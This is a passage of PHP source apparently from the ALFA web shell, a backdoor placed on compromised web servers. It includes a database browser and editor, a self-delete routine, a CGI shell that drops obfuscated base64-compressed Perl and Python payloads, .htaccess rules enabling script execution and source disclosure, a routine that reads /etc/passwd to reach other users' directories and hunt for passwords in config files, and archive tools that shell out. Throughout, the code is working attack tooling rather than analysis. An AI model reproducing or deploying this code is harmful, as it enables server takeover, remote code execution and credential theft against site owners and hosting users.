$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1");
$row = @mysqli_fetch_assoc($q);
if($row){
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
$columns = array();
$edit_data = array();
while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$input = array("col_type" => $row2["COLUMN_TYPE"]);
$row2["type"] = strtolower($row2["type"]);
switch($row2["type"]){
case "longtext": case "text": case "mediumtext": case "tinytext":
$input["tag"] = "textarea";
break;
case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
$input["tag"] = "input";
$input["type"] = "number";
break;
default:
$input["tag"] = "input";
$input["type"] = "text";
}
$columns[$row2["name"]] = $input;
}
foreach($row as $key => $v){
$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
}
echo @json_encode($edit_data);
}
}else{
if($type == "delete_all"){
$rows = implode("', '", $db["rows"]);
}else{
$rows = addslashes($db["key"]);
}
$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')";
@mysqli_query($conn, $query);
$error = @mysqli_error($conn);
if($error){
$status = false;
}else{
$status = true;
}
echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
}
}elseif($type == "update"){
$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
foreach($db["data"] as $col => $val){
$query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',";
}
$query = substr($query, 0, -1);
$query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
}elseif($type == "insert"){
$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
foreach($db["data"] as $col => $val){
$cols .= $col . ",";
$vals .= "'".mysqli_real_escape_string($conn, $val)."',";
}
$cols = substr($cols, 0, -1);
$vals = substr($vals, 0, -1);
$query = $query . "(" . $cols . ")VALUES(" . $vals . ")";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
}else{
$pages = 0;
$title = false;
$query = "";
$tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
$line = 0;
$tables = array();
$columns = array();
if($type == "load_data"){
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
$tbl_count = @mysqli_fetch_row($tbl_count_q);
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$columns[] = $row2;
}
if($tbl_count[0] > 30){
$pages = ceil($tbl_count[0] / 30);
}
}elseif($type == "query"){
$query = $db["query"];
}elseif($type == "page"){
$db["page"] = (int)$db["page"] - 1;
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
}elseif($type == "search"){
$search = "";
$search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
foreach($db["search"] as $col => $val){
$search_noval_r = in_array($val["opt"], $search_noval);
if(empty($val["value"]) && !$search_noval_r)continue;
if(strstr($val["opt"], "...") || $search_noval_r){
$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
$search .= $col . " " . $val["opt"] . " AND ";
}else{
$search .= $col . " " . $val["opt"] . " '".addslashes($val["value"])."' AND ";
}
}
$search .= "1=1";
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
}
$q_tables = @mysqli_query($conn, $query);
if(!$q_tables){
echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
return false;
}
$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'");
if($col_key){
$col_key = @mysqli_fetch_row($col_key);
$col_key = $col_key[0];
if(!empty($col_key)){
$tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="'.$col_key.'" tbl_name="'.$db["table"].'" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
}
}else{
$col_key = false;
}
while($item = @mysqli_fetch_assoc($q_tables)){
if(!$title){
$tbl_content .= '<tr style="background-color:#305b8e;">';
if($col_key){
$tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="'.$db["db_id"].'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
}
foreach($item as $key => $value){
$tbl_content .= '<th>'.$key.'</th>';
}
reset($item);
$title=true;
$tbl_content .= '</tr><tr>';
}
if($col_key){
$cacheMsg = '<td style="text-align:center;"><input row_id="'.$line.'" type="checkbox" name="tbl_rows_checkbox[]" value="'.$item[$col_key].'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" row_id="'.$line.'" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
}
$tbl_content .= '<tr class="tbl_row tbl_row_l'.$line.'">'.$cacheMsg;
$line++;
foreach($item as $key => $value){
if($value == null){
$tbl_content .= '<td><i>null</i></td>';
}else{
$tbl_content .= '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
}
$tbl_content .= '</tr>';
}
$tbl_content .= '</table>';
if(!$title){
$tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
}
echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
}
@mysqli_close($conn);
}
}
function alfaselfrm(){
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){
echo(__pre().'<center>');
if(@unlink($GLOBALS['__file_path'])){
echo('<b>Shell has been removed</i> :)</b>');
}else{
echo 'unlink error!';
}
echo('</center>');
}
if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){
echo "<div class=header>";
echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
echo '</p></center></div>';
}
}
function alfacgishell(){
alfahead();
$div = "";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
if(!in_array($_POST['alfa1'],array('perl','py'))){
$div = "</div>";
echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'perl\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'py\');">| Python | </a>';
}
if(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){
@mkdir('cgialfa',0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$name = $_POST['alfa1'].'.alfa';
$perl = '#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';;
$py = '#!/usr/bin/python\nimport zlib, base64\neval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
if($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;}
if(__write_file($name,$code)){
@chmod($name,0755);
echo '<iframe src="'.__ALFA_DATA_FOLDER__.'/cgialfa/'.$name.'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
}
}
echo $div;
alfafooter();
}
function alfacgihtaccess($m,$d='', $symname=false){
$readme = "";
if($symname){$readme="\nReadmeName ".trim($symname);}
if($m=='cgi'){
$code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
}elseif($m=='sym'){
$code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
}elseif($m=='shtml'){
$code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
}
@__write_file($d . ".htaccess", $code);
}
function alfabasedir(){
alfahead();
echo '<div class=header>
<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
$passwd = _alfa_file('/etc/passwd');
if(is_array($passwd)){
$users = array();
$makepwd = alfaMakePwd();
$basedir = @ini_get('open_basedir');
$safe_mode = @ini_get('safe_mode');
if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){
$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);
$bash_users = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);
$users = json_decode($bash_users, true);
$x=count($users);
if($x>=2){array_pop($users);--$x;}
}
if(!$basedir&&!$safe_mode){
$x=0;
foreach($passwd as $str){
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = str_replace("{user}", $username, $makepwd);
if(($username != '')){
if (@is_readable($dirz)){
array_push($users,$username);
$x++;
}}}
}
echo '<br><br>';
echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\n<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\n<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n<br /><br /><br /></font></b>";
foreach($users as $user){
if(empty($user))continue;
$path = str_replace("{user}", $user, $makepwd);
echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
}
}else{echo('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');}
echo '<br><br></b>';
echo '</div>';
alfafooter();
}
function alfaziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell Compress-Archive -Path '".addslashes($dirzip)."' -DestinationPath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif(class_exists('ZipArchive')){
if(__alfaziper($dirzip, $zipfile)){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function __alfaziper($source,$destination){
if(!extension_loaded('zip')||!file_exists($source)){
return false;
}
$zip=new ZipArchive();
if(!$zip->open($destination,ZIPARCHIVE::CREATE)){
return false;
}
$source=str_replace('\\','/',realpath($source));
if(is_dir($source)===true){
$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);
foreach($files as $file){
$file=str_replace('\\','/',$file);
if(in_array(substr($file,strrpos($file,'/')+1),array(,'..')))continue;
$file=realpath($file);
if(is_dir($file)===true){
$zip->addEmptyDir(str_replace($source.'/','',$file.'/'));
}else if(is_file($file)===true){
$zip->addFromString(str_replace($source.'/','',$file),file_get_contents($file));
}
}
}else if(is_file($source)===true){
$zip->addFromString(basename($source),file_get_contents($source));
}
return $zip->close();
}
function alfadeziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if(@!is_dir($zipfile)){
@mkdir($zipfile, 0777, true);
}
$finfo = "";
$file_type = "";
if(function_exists('finfo_open')){
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
$file_type = @finfo_file($finfo, $dirzip);
@finfo_close($finfo);
}else{
if($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
$file_type = alfaEx('file -b --mime-type ' . $dirzip);
}
}
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell expand-archive -path '".addslashes($dirzip)."' -destinationpath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){
switch ($file_type) {
case 'application/zip':
alfaEx("cd '".addslashes($zipfile)."';unzip '".addslashes($dirzip)."'");
break;
case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){
alfaEx("cd '".addslashes($zipfile)."';tar xzf '".addslashes($dirzip)."'");
}else{
alfaEx("cd '".addslashes($zipfile)."';gunzip '".addslashes($dirzip)."'");
}
break;
}
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></b></p></center>';
}elseif(class_exists('ZipArchive')){
$itsok = false;
if(emtpy($file_type)){
$file_type = "application/zip";
}
switch ($file_type) {
case 'application/zip':
$zip = new ZipArchive;
$res = $zip->open($dirzip);
if ($res) {
$zip->extractTo($zipfile);
$zip->close();
$itsok = true;
}
break;
case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
if(strstr(basename($dirzip), ".tar.gz")){
$new_file = $zipfile .'/'. basename($dirzip);
@copy($dirzip, $new_file);
$new_tar = str_replace(".tar.gz", ".tar", $new_file);
try {
$p = new PharData($new_file);
$p->decompress();
$phar = new PharData($new_tar);
$phar->extractTo($zipfile);
@unlink($new_file);
@unlink($new_tar);
$itsok = true;
} catch (Exception $e) {
}
}else{
try {
$phar = new PharData($dirzip);
$phar->extractTo($zipfile);
$itsok = true;
} catch (Exception $e) {
}
}
break;
}
if($itsok){
